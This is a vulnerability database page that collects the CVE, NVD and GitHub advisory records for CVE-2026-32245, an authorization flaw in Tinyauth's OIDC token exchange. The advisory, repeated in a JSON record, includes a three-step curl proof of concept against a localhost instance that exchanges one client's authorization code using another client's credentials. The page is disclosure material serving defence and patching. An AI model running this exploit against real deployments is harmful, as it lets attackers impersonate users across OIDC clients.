Vulnerability-Lookup

CVE-2026-32245 (GCVE-0-2026-32245)

Vulnerability from cvelistv5 – Published: 2026-03-12 18:57 – Updated: 2026-03-12 20:46

Title

Tinyauth's OIDC authorization codes are not bound to client on token exchange

Summary

Tinyauth is an authentication and authorization server. Prior to 5.0.3, the OIDC token endpoint does not verify that the client exchanging an authorization code is the same client the code was issued to. A malicious OIDC client operator can exchange another client's authorization code using their own client credentials, obtaining tokens for users who never authorized their application. This violates RFC 6749 Section 4.1.3. This vulnerability is fixed in 5.0.3.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-12 20:43 UTC

CWE

CWE-863 - Incorrect Authorization

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7771 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/steveiliop56/tinyauth/security…	x_refsource_CONFIRM
https://github.com/steveiliop56/tinyauth/commit/b…	x_refsource_MISC
https://github.com/steveiliop56/tinyauth/releases…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
steveiliop56	tinyauth	Affected: < 5.0.3	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-32245

Vulnerability from fkie_nvd - Published: 2026-03-12 19:16 - Updated: 2026-06-17 10:35

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N
6.5 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/steveiliop56/tinyauth/commit/b2a1bfb1f532e87f205fa3afa3fc9f148c53ab89	Patch
security-advisories@github.com	https://github.com/steveiliop56/tinyauth/releases/tag/v5.0.3	Release Notes
security-advisories@github.com	https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-xg2q-62g2-cvcm	Exploit, Third Party Advisory

Impacted products

	Vendor	Product	Version
	tinyauth	tinyauth	*

JSON

To clipboard

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GHSA-XG2Q-62G2-CVCM

Vulnerability from github – Published: 2026-03-12 16:38 – Updated: 2026-03-24 21:11

Summary

Tinyauth's OIDC authorization codes are not bound to client on token exchange

Details

Summary

The OIDC token endpoint does not verify that the client exchanging an authorization code is the same client the code was issued to. A malicious OIDC client operator can exchange another client's authorization code using their own client credentials, obtaining tokens for users who never authorized their application. This violates RFC 6749 Section 4.1.3.

Details

When an authorization code is created, StoreCode at internal/service/oidc_service.go:305-322 correctly stores the ClientID alongside the code hash in the database (line 316).

During token exchange at internal/controller/oidc_controller.go:267-309, the handler retrieves the code entry at line 268 and validates the redirect_uri at line 291, but never compares entry.ClientID against the requesting client's ID (creds.ClientID). The code proceeds directly to GenerateAccessToken at line 299.

The developers clearly intended this check to exist, the refresh token flow at internal/service/oidc_service.go:508-510 has the exact guard: if entry.ClientID != reqClientId { return TokenResponse{}, ErrInvalidClient }. It was simply omitted from the authorization code grant.

The entry.ClientID field is stored in the database but never read during authorization code exchange.

PoC

Prerequisites: a tinyauth instance with two OIDC clients configured (Client A and Client B). Both clients must have at least one overlapping redirect URI, or the attacker must be able to intercept the authorization code from Client A's redirect (via referrer leak, browser history, log access, etc.).

Step 1 — Log in as a normal user:

curl -c cookies.txt -X POST http://localhost:3000/api/user/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin123"}'

Step 2 — Authorize with Client A:

curl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \
  -H "Content-Type: application/json" \
  -d '{"client_id":"client-a-id","redirect_uri":"http://localhost:8080/callback","response_type":"code","scope":"openid","state":"test"}'

Extract the code parameter from the redirect_uri in the response.

Step 3 — Exchange Client A's code using Client B's credentials:

curl -X POST http://localhost:3000/api/oidc/token \
  -u "client-b-id:client-b-secret" \
  -d "grant_type=authorization_code&code=<CODE_FROM_STEP_2>&redirect_uri=http://localhost:8080/callback"

The server returns a valid access_token, id_token, and refresh_token. Client B has obtained tokens for a user who only authorized Client A.

Impact

A malicious OIDC relying party operator who can intercept or observe an authorization code issued to a different client can exchange it for tokens under their own client identity. This enables user impersonation across OIDC clients on the same tinyauth instance. The attack requires a multi-client deployment and a way to obtain the victim client's authorization code (which is passed as a URL query parameter and can leak through referrer headers, browser history, or server logs). Single-client deployments are not affected.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/steveiliop56/tinyauth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.1-20260311144920-9eb2d33064b7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T16:38:42Z",
    "nvd_published_at": "2026-03-12T19:16:19Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe OIDC token endpoint does not verify that the client exchanging an authorization code is the same client the code was issued to. A malicious OIDC client operator can exchange another client\u0027s authorization code using their own client credentials, obtaining tokens for users who never authorized their application. This violates RFC 6749 Section 4.1.3.\n\n### Details\n\nWhen an authorization code is created, `StoreCode` at `internal/service/oidc_service.go:305-322` correctly stores the `ClientID` alongside the code hash in the database (line 316).\n\nDuring token exchange at `internal/controller/oidc_controller.go:267-309`, the handler retrieves the code entry at line 268 and validates the `redirect_uri` at line 291, but never compares `entry.ClientID` against the requesting client\u0027s ID (`creds.ClientID`). The code proceeds directly to `GenerateAccessToken` at line 299.\n\nThe developers clearly intended this check to exist, the refresh token flow at `internal/service/oidc_service.go:508-510` has the exact guard: `if entry.ClientID != reqClientId { return TokenResponse{}, ErrInvalidClient }`. It was simply omitted from the authorization code grant.\n\nThe `entry.ClientID` field is stored in the database but never read during authorization code exchange.\n\n### PoC\n\nPrerequisites: a tinyauth instance with two OIDC clients configured (Client A and Client B). Both clients must have at least one overlapping redirect URI, or the attacker must be able to intercept the authorization code from Client A\u0027s redirect (via referrer leak, browser history, log access, etc.).\n\nStep 1 \u2014 Log in as a normal user:\n\n```\ncurl -c cookies.txt -X POST http://localhost:3000/api/user/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"admin\",\"password\":\"admin123\"}\u0027\n```\n\nStep 2 \u2014 Authorize with Client A:\n\n```\ncurl -b cookies.txt -X POST http://localhost:3000/api/oidc/authorize \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"client_id\":\"client-a-id\",\"redirect_uri\":\"http://localhost:8080/callback\",\"response_type\":\"code\",\"scope\":\"openid\",\"state\":\"test\"}\u0027\n```\n\nExtract the `code` parameter from the `redirect_uri` in the response.\n\nStep 3 \u2014 Exchange Client A\u0027s code using Client B\u0027s credentials:\n\n```\ncurl -X POST http://localhost:3000/api/oidc/token \\\n  -u \"client-b-id:client-b-secret\" \\\n  -d \"grant_type=authorization_code\u0026code=\u003cCODE_FROM_STEP_2\u003e\u0026redirect_uri=http://localhost:8080/callback\"\n```\n\nThe server returns a valid `access_token`, `id_token`, and `refresh_token`. Client B has obtained tokens for a user who only authorized Client A.\n\n### Impact\n\nA malicious OIDC relying party operator who can intercept or observe an authorization code issued to a different client can exchange it for tokens under their own client identity. This enables user impersonation across OIDC clients on the same tinyauth instance. The attack requires a multi-client deployment and a way to obtain the victim client\u0027s authorization code (which is passed as a URL query parameter and can leak through referrer headers, browser history, or server logs). Single-client deployments are not affected.",
  "id": "GHSA-xg2q-62g2-cvcm",
  "modified": "2026-03-24T21:11:30Z",
  "published": "2026-03-12T16:38:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/steveiliop56/tinyauth/security/advisories/GHSA-xg2q-62g2-cvcm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steveiliop56/tinyauth/commit/b2a1bfb1f532e87f205fa3afa3fc9f148c53ab89"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/steveiliop56/tinyauth"
    },
    {
      "type": "WEB",
      "url": "https://github.com/steveiliop56/tinyauth/releases/tag/v5.0.3"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2026-4689"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tinyauth\u0027s OIDC authorization codes are not bound to client on token exchange"
}

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-32245 (GCVE-0-2026-32245)

FKIE_CVE-2026-32245

GHSA-XG2Q-62G2-CVCM

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